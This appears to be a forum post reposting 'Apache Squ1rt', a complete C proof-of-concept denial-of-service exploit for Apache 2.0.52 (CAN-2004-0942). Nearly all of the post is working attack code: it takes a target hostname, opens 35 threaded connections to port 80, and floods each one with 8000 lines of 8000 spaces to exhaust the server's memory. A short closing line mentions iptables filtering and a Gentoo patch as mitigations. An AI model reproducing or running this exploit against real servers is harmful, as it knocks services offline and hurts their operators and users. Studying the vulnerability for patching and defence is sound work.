firewall
In the zone
Code:
/*
Apache Squ1rt, Denial of Service Proof of Concept
Tested on Apache 2.0.52
j0hnylightning gmail .om
dguido gmail com
Sends a request that starts with:
GET / HTTP/1.0\n
8000 spaces \n
8000 spaces \n
8000 spaces \n
...
8000 times
Apache never kills it. Takes up huge amounts of
RAM which increase with each connection.
Original credit goes to Chintan Trivedi on the
FullDisclosure mailing list:
*seclists.org/lists/fulldisclosure/2004/Nov/0022.html
More info:
*www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0942
Versions between 2.0.35 and 2.0.52 may be vulnerable,
but only down to 2.0.50 was tested.
v2
Rewritten to use pthread.
gcc apache-squ1rt.c -lpthread
*/
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <pthread.h>
#define DEST_PORT 80
void *squirtIt(char *hName);
char attackBuf[8000];
char letsGetStarted[128];
int main(int argc, char **argv){
int num_connect;
int ret;
pthread_t tid[35];
sprintf(letsGetStarted, "GET / HTTP/1.0\n");
memset(attackBuf, ' ', 8000);
attackBuf[7998]='\n';
attackBuf[7999]='\0';
if (argc != 2){
fprintf(stderr, "Usage: %s <host name> \n", argv[0]);
exit(1);
}
for(num_connect = 0; num_connect < 35; num_connect++){
ret = pthread_create(&tid[num_connect], NULL, (void *)squirtIt, argv[1]);
}
/* assuming any of these threads actually terminate, this waits for all of them */
for(num_connect = 0; num_connect < 35; num_connect++){
pthread_join(tid[num_connect], NULL);
}
return 0;
}
void *squirtIt(char *hName){
int sock, i;
struct hostent *target;
struct sockaddr_in addy;
if((target = gethostbyname(hName)) == NULL){
herror("gethostbyname()");
exit(1);
}
if((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0){
perror("socket()");
exit(1);
}
addy.sin_family = AF_INET;
addy.sin_port = htons(DEST_PORT);
bcopy(target->h_addr, (char *)&addy.sin_addr, target->h_length );
memset(&(addy.sin_zero), '\0', 8);
if((connect(sock, (struct sockaddr*)&addy, sizeof(addy))) < 0){
perror("connect()");
exit(1);
}
send(sock, letsGetStarted, strlen(letsGetStarted), 0);
for(i=0; i < 8000; i++){
send(sock, attackBuf, strlen(attackBuf), 0);
}
close(sock);
}This attack may be preventable with a properly configured iptables ruleset. Gentoo already has a patch out in the 2.0.52-r1 release in the file 06_all_gentoo_protocol.patch
a.m